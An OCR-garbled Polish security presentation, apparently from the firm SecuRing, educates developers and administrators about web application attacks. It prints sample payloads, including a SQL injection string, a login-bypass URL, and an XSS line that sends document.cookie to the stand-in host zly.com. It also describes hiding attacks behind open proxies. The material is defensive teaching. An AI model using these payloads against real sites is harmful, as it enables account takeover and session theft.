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Integracja baz danych z serwisami WWW oraz stosowanie dynamicznych metod generowania
stron daja praktycznie nieograniczone mozliwosci prezentowania danych poprzez strony WWW.
Wspdtczesne portale i serwisy WWW to juz nie statyczne strony, ale prawdziwe aplikacje, gdzie
uzytkownik moze interaktywnie korzysta¢ z zasobdw udostepnionych przez tworcéw serwisu
WWW. Coraz cze¢sciej zamiast okreslenia ,,strona WWW” uzywa si¢ ,,aplikacia WWW?”. Techno-
logia ta, a wlasciwie — zbidr réznych technik i technologii, daja bardzo duze mozliwosci, ale jej
niewlasciwe stosowanie moze wprowadzi¢ znaczne zagrozenia dla udostgpnianych danych a nawet
dla catosci infrastruktury IT. Prezentacja ma na celu uswiadomienie tych zagrozen. Jest ona prze-
znaczona zarowno dla developerdéw, by dysponujac wiedza o zagrozeniach mogli ich unika¢ w
tworzonych przez siebie aplikacjach, ale przede wszystkim dla oséb odpowiedzialnych za utrzy-
amanie bezpieczenstwa oraz administratorow serwerdw aplikacyjnych i baz danych, by wiedzieli,
jakim nowym zagrozeniom muszg stawi¢ czola.

Przedmiotem dalszych rozwazan na temat bezpieczenstwa bgda same aplikacje WWW. Przez poje-
cie to rozumiem kod, ktéry wykonuje si¢ na serwerze aplikacji i komunikuje si¢ z klientami za
pomoca protokotu HTTP. W przypadku technologii Oracle beda to przede wszystkim aplikacje
Java i PL/SQL udostgpniane przez Oracle HTTP Server. Metody atakowania aplikacji opisane w
dalszej czesci, beda przedstawione na przyktadzie aplikacji webowych, jednakze warto zauwazyc¢,
ze identyczne techniki mozna stosowaé dla praktycznie dowolnych aplikacji, niezaleznie od plat-
formy oraz architektury.

Zebrany tutaj material jest wynikiem doswiadczen zespolu firmy SecuRing zdobytych podczas
testowania bezpieczenstwa aplikacji internetowych. Omawiajac poszczegdlne sposoby atakow nie
bede postugiwat si¢ przyktadami z zycia wzigtymi, gdyz mogloby to narazi¢ na szkodg serwisy
podatne na poszczegdlne zagrozenia. Prezentowane przyktady sa zaczerpnigte z powszechnie do-
stegpnych materiatow na temat bezpieczenstwa aplikacji. Czytelnikow zachecam do siggnigcia do
tych zrodet.:
e  OWASP Guide (http://www.owasp.org/guide/)
e  WebGoat (http://www.owasp.org/webgoat/) — przykladowa aplikacja J2EE, prezentujaca w
praktyce wiele roznych zagrozen, stworzona dla celow edukacyjnych.
e NGSec Game (http://quiz.ngsec.biz:8080/) — ,,gra” polegajaca na wlamywaniu si¢ do apli-
kacji webowe;j.

Trywialne zagrozenia

Czg$¢ zagrozen wynika z trywialnych bledow popetlionych przez projektantdw i programistow.
Jednym ze zrodet takich podstawowych zagrozen moga by¢ informacje w komentarzach w gene-
rowanym przez aplikacje kodzie HTML. Bywa, ze komentarze takie stosuje si¢ w fazie rozwoju
aplikacji a potem zostaja one rowniez w wersji produkcyjnej. Trzeba pamietaé o tym, ze zrédto
HTML jest dostepne dla klienta a wigc réwniez dla potencjalnego intruza.

Wydaje sig, ze zagrozenie to jest tak oczywiste dla wszystkich, ze niemal niespotykane w rzeczy-
wistosci. Jednak informacje znajdowane przez nasz zespdt w komentarzach HTML i znacznikach
META réznych serwisdw nie przestaja wprawia¢ nas w zadziwienie.

Ukryte parametry

Rownie trywialnym atakiem jest wykorzystanie ukrytych parametréw formularzy HTML (input
type=hidden). Parametry te sq z reguty w jaki$ sposob wykorzystywane przez aplikacje dziatajaca
na serwerze. Co prawda, nie sg to parametry bezposrednio edytowalne przez uzytkownika, jednak-
ze bardzo tatwo jest je modyfikowaé. Czgsto zawieraja one istotne zmienne. Podstawowa metoda
ingerowania w te parametry, jest zapisanie zrodta strony, zmodyfikowanie parametru w zrddle,
uruchomienie zmodyfikowanej strony i wystanie atakowanego formularza. Jednak w praktyce,
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najczesciej stosuje sie programy przechwytujace po stronie przegladarki wysytane zlecenia i potra-
fiace je modyfikowa¢ w locie. Przykladami takich narzedzi sa AtStake WebProxy
(http://www.webproxy.com) oraz Odysseus (http://www.wastelands.gen.nz/odysseus/).

Przykiad:

Za przyktad niech postuzy hipotetyczna aplikacja obslugujaca sklep internetowy. Uzytkownik do-
konuje zakupdw, wybierajac okreslone towary. Towary te sa doktadane do wirtualnego ,,koszyka”,
jednoczesnie jest zwigkszana o odpowiednig kwote zmienna przechowujaca warto$¢ zakupionych
towarow. Zagrozenia pojawia si¢ jesli zmienna ta jest przechowywana po stronie kliena np. w
ukrytym polu formularza HTML. Gdy klient jest gotowy do zaplacenia, aplikacja generuje odpo-
wiednig stron¢ z podsumowaniem transakcji:

Confirm purchase: 46 inch HDTY {model KTWV-551)

Purchaze

Klient jest proszony o potwierdzienie. Po kliknieciu klawisza ,,Purchase”, do serwera sa przekazy-
wane parametry transakcji — w tym wartos¢!

Formularz jest generowany przez aplikacj¢ dzialajaca po stronie serwera. Przyktadowy kod Java
odpowiedzialny za wygenerowanie tego formularza:

ec.addElement (new P () .addElement ("Confirm purchase: "));
ec.addElement (new B("46 inch HDTV (model KTV-551)"));
Input input = new Input (Input.HIDDEN, PRICE, "4999.99");
ec.addElement (input); ec.addElement (new BR());

Element b = ECSFactory.makeButton ("Purchase");
ec.addElement (b) ;

Oraz wygrenerowany przez niego kod HTML obstugujacy formularz:

Confirm purchase: <b> 46 inch HDTV (model KTV-551)</b>
<input name="Price" type="HIDDEN" value="4999.99"><br>
<input type="SUBMIT" value="Purchase">

W momencie nacisni¢ca przycisku “Purchase”, ukryty parametr “Price” jest przekazywany do apli-
kacji metodq POST. Wystarczy zmodyfikowa¢ w locie (za pomoca WebProxy czy Odysseus-a)
warto$¢ tego parametru w zleceniu POST na duzo nizsza (np. 1) i gotowe:

Your total price is: $1

This amount will be charged to your credit card immediately.

Taka technika nazywa si¢ wirtualnym ,,przeklejaniem ceny”, gdyz sama istota ataku jest podobna
do prostych oszustw stosowanych kiedys w zwyktych sklepach.

Innym wariantem tego zagrozenia, jest pobieranie istotnych wartosci z cookie uzytkownika. Pro-
gramista nigdy nie powinien ufa¢ wartosciom pobranym ze srodowiska uzytkownika. Nawet, gdy
je sam tam wczesniej umiescit.
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Doklejanie parametru

Podobnym w swojej istocie typem zagrozenia jest brak inicjowania warto$ci zmiennych i brak
sprawdzania ilosci pobieranych parametrow.. W niektorych jezykach szablonowych, dzialajacych
po stronie serwera aplikacji (np. PHP) zmienne pobierane od uzytkownika sg automatycznie reje-
strowane jako zmienne globalne. Jezeli intruz dopisze do zlecenia kolejny parametr i jesli zmienna
o takiej samej nazwie jest uzywana wewnetrznie przez dang procedurg, to moze to spowodowac
zmiang logiki dziatania procedury.

Przyklad:
Za uwierzytelnienie uzytkownika odpowiada nastgpujacy kod:
(pseudokod ilstrujacy algorytm)

if (sprawdz uzytkownika w bazie($login, S$password)) {
Sstate="OK";
}

if ($state=="OK") {
UWIERZYTELNIENIE OK
} else { BEAD ! }

Jak wida¢ za pomyslne uwierzytelnienie odpowiada ostatecznie warto$¢ flagi ,,state”. Flaga ta jest
wczesniej ustawiana przez procedur¢ wyszukujaca dane logowania w bazie. Jesli zmienna ,,state”
nie jest inicjowana przed uzyciem, to jest mozliwe arbitralne ustawienie jej wartosci w zleceniu
przesytanym przez klienta:

http://serwer_aplikacji/login.php?login=admin&password=xxx&state=OK
Niezaleznie od wartosci zmiennych login i password, intruz zostanie pomyslnie uwierzytelniony.

Oczywiscie zastosowanie tej metody nie ogranicza si¢ tylko do procedur uwierzytelniajacych. Je-
dynym problemem dla atakujacego jest odgadnigcie nazw zmiennych.

Problem ten moze réwniez dotyczy¢ JSP! Jest to mozliwe, jezeli aplikacja korzysta z komponentu
JavaBean i inicjuje wszystkie wartosci parametrow komponentu ze zlecenia HTTP, przy uzyciu
metaznaku * . Np:

<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>

Tego typu komponent bedzie podatny na ataki polegajace na dopisaniu wartosci dodatkowego pa-
rametru. Mozna to wykorzysta¢ nie tylko do zmieniania logiki dziatania aplikacji, ale rowniez do
atakow typu ,,przeklejanie ceny”.

Brak obstugi btedow (fail open)

Kolejnym czgsto spotykanym zagrozeniem w aplikacjach internetowych jest brak obstugi wyjat-
kéw. Programisci czgsto zapominaja o obstuzeniu bledéow. Wynika to z tego, ze zakladaja, iz
wszystkie parametry zostang wprowadzone poprawnie, bo przeciez robi to zaprojektowany przez
nich formularz. Pamietajmy — uzytkownik to potencjalny intruz! — wigc nalezy bra¢ pod uwage
roéwniez sytuacje specjalne, wynikajace z prob modyfikacji parametrow poza przegladarka.
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Przyktadem wykorzystania tego zagrozenia moze by¢ atak na mechanizm uwierzytelniajacy. Ty-
powy mechanizm uwierzytelniania do aplikacji WWW, pobiera od uzytkownika dwa parametry:
nazw¢ uzytkownika i hasto i przesyta je metoda GET Iub POST do aplikacji po stronie serwera.
Tam parametry te s obrabiane. Na podstawie wprowadzonych parametrow (nazwa uzytkowanika,
hasto) jest wykonywane odpowiednie zapytanie SQL do bazy uzytkownikéw i decyzja o uwierzy-
telnieniu jest podejmowana na podstawie liczby zwrdoconych rekordéw.

Atak moze polegaé np. na usunigciu jednego z parametrow (np. hasta). Program spodziewa sig, ze
klient przekaze dwa parametry: nazwe uzytkownika i hasto. Tymczasem dostanie tylko jeden (np.
nazwe uzytkownika). Jezeli nie jest obsluzony wyjatek przy pobieraniu parametréw ze zlecenia, to
dalsze zachowanie si¢ aplikacji zalezy od wielu czynnikdw, np. od wartosci poczatkowej zmiennej
»password” oraz przede wszystkim od postaci warunku sprawdzajacego rezultaty zapytania i od
sposobu konstrukcji samego zapytania do bazy. W szczegdlnym wypadku moze zdarzy¢ si¢ tak, ze
taka sytuacja specjalna spowoduje spelienie odpowiednich warunkéw ,,if”” i w rezultacie — po-
myslne uwierzytelnienie intruza.

Parametry w cookies

Rownie skutecznie mozna atakowaé aplikacje manipulujgc parametrami przekazywanymi w co-
okies.

Zdarza si¢ ze w cookies sa przechowywane bardzo istotne dane. Tak jak parametry GET/POST
moga by¢ one modyfikowane przez uzytkownika.

Przykiad:

Po uwierzytelnieniu, aplikacja ustawia w cookie uzytkownika okreslony parametr, np: ,,authori-
zed=yes”.

Jesli aplikacja podejmuje decyzje o autoryzacji do danego zasobu tylko i wytacznie na podstawie
tej flagi, to jest mozliwy trywialny atak polegajacy na ustawieniu tego parametru zgodnie z wyma-
ganiami uwierzytelnionego uzytkownika.

lang=en-us; AUTHORIZED=yes; y=1 ; time=12:30GMT;

Warto zauwazy¢ ze niezaleznie od tego czy cookie jest przesytane przez SSL, czy tez normalne,
daje si¢ je modyfikowa¢ w momencie przesylania przez przegladarke, przy pomocy programéw

typu proxy.

Path traversal, dostep do plikéw

Innym skutkiem wynikajacym z niewtasciwego walidowania parametréw pobieranych od
klienta, jest nieuprawniony dost¢p do plikow na serwerze.

Czgsto zdarza sie ze aplikacja wykorzystuje rézne parametry pobierane ze srodowiska uzytkowni-
ka, do konstrukcji nazw wykorzystywanych plikow. Jesli te parametry nie sg wlasciwie sprawdza-
ne, to otwiera to droge do odczytania dowolnych plikow na serwerze.

Przykiad:

W naglowku zlecenia HTTP wysylanego przez przegladarke, znajduje si¢ parametr ,,Accept-
Language” okreslajacy preferencje jezykowe klienta. Aplikacja webowa obstugujaca rozne jezyki
moze wykorzystywac ten parametr nagtowka, do zbudowania nazwy pliku z ktoérego nalezy pobrac
tekst we wlasciwym jezyku.

Intruz odpowiednio modyfikujac parametr ,,Accept-Language” moze doprowadzi¢ do pobrania
arbitralnie wybranego pliku z serwera.

Ten typ ataku jest zwykle stosowany w potaczeniu z innymi technikami, np. SQL-injection czy tez
(omdwione wczesniej) dopisywanie dodatkowych parametrow.
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Parameter injection

Zdarza sie, ze aplikacja webowa wykorzystuje funkcje systemu operacyjnego do konstruowania
stron HTML. Funkcje te sa uruchamiane po stronie serwera. Czgsto aplikacja przekazuje do tych
funkcji czy polecen systemowych parametry pobierane od uzytkownika. Jesli parametry te nie sa
szczegotowo sprawdzane to moze to prowadzi¢ do manipulacji funkcjami i komendami systemu
operacyjnego.

Przykitad:
Aplikacja pobiera od uzytkownika nazwe katalogu, a nastgpnie wyswietla jego zawartosc.
Parametr pobrany od uzytkownika jest doklejany do komendy:

cmd.exe /c dir /b ........

Jezeli intruz dopisze do parametru znak & to bedzie mogl wykonaé¢ dowolna komende systemowa.
Znak & dla Windows2000 (tak jak znak ; dla Unixdéw) oddziela komendy systemowe.

SQL injection

Bardzo grozng w skutkach technika ataku jest SQL-injection. Zagrozenie, ktére umozliwia tg tech-
nike ataku, wynika ze sposobu konstruowania przez aplikacje zapytan SQL do bazy.

Parametry pobierane ze srodowiska uzytkownika przez aplikacje WWW najczesciej stuza do
skonstruowania odpowiedniego zapytania SQL. Rezultaty tego zapytania stuza do wygenerowania
odpowiedzi w formie dokumentu HTML (lub coraz czgsciej - XML). Jezeli zapytanie to jest two-
rzone w sposob dynamiczny, przez sklejenie parametréw pobranych od uzytkownika z odpowied-
nim zapytaniem SELECT, to manipulowanie parametrami pobieranymi z zewnatrz moze doprowa-
dzi¢ do zmodyfikowania wykonywanego zapytania.

Przykiad:
Procedura odpowiada za zmiane hasta uzytkownika. Nowe hasto jest pobierane z formularza i bez-
posrednio wstawiane do wyrazenia:

String query = “UPDATE users SET password = ’'” + haslo + “/
WHERE username = ’” + uzytkownik + “'7;

Zwykly uzytkownik takiej aplikacji moze wejs¢ w posiadanie konta administratora, przez odpo-
wiednie manipulowanie parametrami wpisywanymi w formularz zmiany hasta. Jesli poda takie
warto$ci parametrow:

Haslo: ooops!

Uzytkownik: x' OR username LIKE ’admin

(parametr “uzytkownik” prawdopodobnie bgdzie pobierany z ukrytego pola formularza, al-
bo z cookie)

W rezultacie wykona si¢ zapytanie:

UPDATE users SET password = ‘ooops!’ WHERE username = ‘x’ OR username
LIKE ‘admin’

Przejecie sesji

Protokét HTTP odpowiadajacy za komunikacje przegladarki z aplikacja internetowa, nie zna poje-
cia sesji (jest protokotem bezstanowym). Kazde odwolanie jest traktowane jako osobna sesja
HTTP. Aplikacja internetowa musi operowaé pojeciem sesji, gdyz jej interakcja z uzytkownikiem
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skla(%a si¢ z wielu odwolan HTTP. W zwiazku z tym to aplikacja musi implementowa¢ kontrolg
sesji .

Na poczatku sesji uzytkownika (po uwierzytelnieniu si¢ do aplikacji, lub przy pierwszym odwota-
niu) jest tworzony identyfikator sesji (token), ktory jest przekazywany do klienta. Pdzniej ten iden-
tyfikator jest przedstawiany przez klienta dla serwera za kazdym razem. W ten sposob serwer wie
ze dane odwotanie nalezy do okreslonej sesji. Najczesciej wykorzystywana metoda jest przekazy-
wanie tokena sesji w cookie, ale spotyka si¢ rowniez przekazywanie tokena jako parametr GET w
URL czy tez metoda POST, w ukrytym polu formularza.

Niezaleznie od wykorzystywanej metody przekazywania, nalezy pamigta¢ o tym ze identyfikator
sesji jest jednym z parametrow przekazywanym przez uzytkownika. W zwiazku z tym jest on nara-
zony na rozne ataki, np:

— manipulacje identyfikatorem przez klienta

— podstuch

— podszywanie si¢ przy uzyciu podstuchanego lub przewidywalnego identyfikatora sesji.
Identyfikator sesji $cisle okresla uzytkownika w aplikacji. W zwigzku z tym podstuchanie lub od-
gadniecie tego identyfikatora moze prowadzi¢ do ominigcia mechanizméw uwierzytelniajacych lub
przechwycenia sesji uzytkownika.

Dobre praktyki dotyczace bezpieczenstwa identyfikatoréw sesji mowig o kilku podstawowych
zasadach bezpieczenstwa:
1. Identyfikator powinien by¢: unikalny dla kazdej sesji i nieprzewidywalny
Przewidzenie identyfikatora sesji pozwala na ominigcie mechanizmow uwierzytelniania w
aplikacji oraz podszywanie si¢ pod innego uzytkownika. Do generowania identyfikatoréw
sesji powinien zosta¢ uzyty silny algorytm losowy. Przy czym przestrzen generowanych
identyfikatoréw powinna by¢ bardzo duza, by zapobiec zgadywaniu prawidtowych i ak-
tywnych identyfikatorow.
2. Identyfikator powinien by¢ zwigzany z dang instancja klienta
Takie powigzanie dodatkowo zabezpiecza przed przechwytywaniem sesji oraz atakami
przez powtorzenie uprzednio podstuchanej sesji (np. Sesji w ktorej klient dokonuje zaku-
pow przez Internet).
3. Identyfikator powinien by¢ przekazywany w sposdb bezpieczny, utrudniajacy jego podstu-
chanie. Cookies moga by¢ ,,bezpieczne” — wtedy kazdorazowo sg przekazywane przy uzy-
ciu szyfrowania SSL.

Cross-Site Scripting

Dotychczasowe przyktady atakow skupialy si¢ na atakowaniu serwera (lub raczej aplikacji interne-
towej). Istnieja rowniez mozliwosci atakowania klienta aplikacji internetowej. Po co? Jak juz
wczesniej wyjasnitem, w przegladarce klienta sa przechowywane istotne dane, na przyktad co-
okies zawierajace identyfiaktory sesji, hasta zapamigtane w przegladarce, itp. Poza tym mozna
sprobowa¢ zmusi¢ przegladarke do zatadowania z serwera nalezacego do intruza, kodu wykorzy-
stujacego rozne stabosci przegladarek.
Tego typu ataki na strong¢ klienta moga by¢ wykonane przy uzyciu techniki cross-site scripting.
Ogdlnie — ten typ ataku polega na zmuszeniu klienta (przegladarki) do zatadowania ustlaonego
przez intruza adresu URL, z tym Ze ofiara nie powinna si¢ dowiedzieé, ze jej przegladarka zatado-
wata ten URL. Przy tego typu atakach wystepuja trzy strony: atakujacy, ofiara oraz nosiciel. Nosi-
ciel to medium, ktérego w sposdb swiadomy uzywa ofiara, a ktore jest wykorzystywane do nie-
swiadomego zatadowania URL-a wybranego przez intruza. Nosicielem moze by¢ np:

e (Odpowiednio sformatowany list e-mail zawierajacy skrypt tadujacy wyznaczony URL

e Strona WWW, do ktorej odwiedzenia nalezy przekonaé ofiare

! Zwykle za kontrole sesji odpowiada warstwa posredniczaca wehodzaca w sktad danego serwera aplikacji.
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e Serwis internetowy prezentujacy tres¢ w formie HTML, do ktérego intruz jest w stanie do-
pisa¢ nowe wiadomosci i kod HTML (np. chat-room).

Przykiad:

Aplikacja (nosiciel) obstuguje forum internetowe. Uzytkownicy przez formularz WWW, moga
umieszcza¢ swoje wiadomosci. Jezeli tekst wpisywany przez uzytkownika jest potem wprost
umieszczany na stronie WWW przez aplikacje obstugujaca forum, to mozna w nich umiesci¢ tagi
HTML. Jezeli intruz umiesci we wpisywanej wiadomosci kod JavaScript, to kod ten zostanie wy-
konany na przegladarce kazdego z uzytkownikéw przegladajacych ta wiadomosé. Kod ten moze
wykonywaé wrogie operacje.

Przyktady kodu bedacego elemenetem atakdéw cross-site scripting:

<script>document.write ('<img src="http://zly.com/atak.js”)</script>

Zatadowanie dowolnego URL (w szczegdlnosci skryptu). Dzigki ukryciu w tagu <img>,
akcja pozostaje niewidoczna dla ofiary.

<script>document.write ('<img src="http://zly.com/'+document.cookie+'") </script>

Wykradnigcie cookie sesji. Dane z cookie zostang zapisane w logach serwera “zly.com”.

Mozliwosci atakéw przy wykorzystaniu techniki cross-site scripting jest bardzo wiele. Czgsto ce-
lem ataku jest administrator danej aplikacji. Np. Znany jest atak cross-site scripting na serwer
WWW iPlanet. Program zarzadzajacy tym serwerem jest aplikacja WWW. Gdy administrator
przeglada logi serwera, czyni to przez odpowiedni interfejs WWW. Wystarczy ze atakujacy wyko-
na zlecenie HTTP, w ktorym bedzie zaszyty odpowiedni skrypt. Serwer cytuje catos¢ zlecen w
swoich logach. Gdy administrator bedzie przegladat logi, kod intruza wykona si¢ w jego przegla-
darce.

Buffer Overflow

Buffer overflow jest jedna z najczesciej obecnie wykorzystywanych technik ataku na réznego ro-
dzaju oprogramowanie (w tym Oracle). Zagrozenie, ktore jest wykorzystywane przez ta technike
wiaze si¢ z brakiem sprawdzania przez aplikacje dtugosci wprowadzanych danych.

Np. Jezeli programista zadeklarowal w swojej aplikacji na zmienng ,,nazwisko” 50 bajtow, a uzyt-
kownik wpisze wigcej znakow, to nastapi przepetnienie bufora. W rezultacie, dane ktore sa dalej w
pamigci zostang nadpisane. Z reguty prowadzi to do wystapienia btedow w aplikacji, jednak jesli
intruz przewidzi strukture danych, ktére sa w pamieci po podatnej zmiennej, to przepetniajac bufor
podatnej zmiennej jest w stanie ingerowa¢ w wartosci nastgpnych zmiennych.

W praktyce ta technike uzywa si¢ zwykle do przeprowadzenia ataku, ktdrego skutkiem jest wyko-
nanie kodu intruza na atakowanym serwerze. Jedng z danych umieszczanych w pamieci (na stosie)
za zmiennymi procedury, jest adres powrotu z procedury. Intruz nadpisujac dane w pamigci zmie-
nia ten adres tak, zeby wskazywal adres jego procedury, ktora umieszcza na poczatku atakowanego
bufora.

Ataki buffer-overflow mozna przeprowadzaé¢ réwniez przeciw aplikacjom webowym. Jednakze
wigkszos$¢ platform, na ktérych sg budowane aplikacje WWW jest odporna na tego typu ataki. W
szczegdlnosci Java nie jest podatna na ataki zwiazane z manipulacja pamiecia® (w tym buffer-
overflow). Mozna natomiast atakowac w ten sposob aplikacje oparte np. o programy CGI.

* Wigcej informacji o zabezpieczeniach platform Java: http://www.app-serv.com/security.html
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Ukrywanie tozsamosci

Wydawa¢ by si¢ mogtlo, ze atakowanie aplikacji WWW jest dos¢ skomplikowane. Wymaga sporo
eksperymentowania. Aplikacje internetowe sa zreguty unikalne i jedynym miejscem gdzie intruz
moze eksperymentowac jest atakowany serwis. Ponadto aplikacje internetowe sa oparte o serwery
WWW, w zwiazku z tym kazde odwotanie jest zapisywane w logach. Wydawa¢ by si¢ mogto, ze
atakowanie aplikacji internetowej pozostawia w logach mnostwo informacji, ktéra moze pomoc w
schwytaniu intruza.

W zwiazku z powyzszym, intruzi uzywaja metod ukrywania swojej tozsamosci. Przede wszystkim
nie dokonuja atakow bezposrednich, lecz korzystaja ze zle skonfigurowanych serwerdéw proxy
obecnych w Internecie, ktére umozliwiaja korzystanie z proxy dla kazdego komputera®. Atakowa-
ny serwer aplikacji zanotuje ruch od takiego serwera proxy, a nie od prawdziwego zrodta ataku.

Podsumowanie

Aplikacje internetowe to niewatpliwie bardzo nowoczesne i uzyteczne narzedzie. Jednak z korzy-
staniem z ich dobrodziejstw wigze si¢ spore ryzyko. Na dodatek tradycyjne srodki ochrony, takie
jak firewalle i systemy wykrywania wtaman (IDS) w tym wypadku zawodza. Wykrywanie poten-
cjalnych zagrozen w istniejacych juz aplikacjach jest procesem pracochtonnym i wymagajacym
bardzo duzego doswiadczenia. W zasadzie jedyna metoda zabezpieczania si¢ jest w tym wypadku

.. niepopelnianie bledow. Wiaze si¢ to z edukowaniem developerow aplikacji internetowych w
technikach bezpiecznego kodowania aplikacji i utrzymywaniem tej wiedzy na wysokim poziomie
aktualnosci.

3 Jeden z wielu spisow otwartych serwerdw proxy znajduje si¢ pod adresem: http://www.samair.ru/proxy/






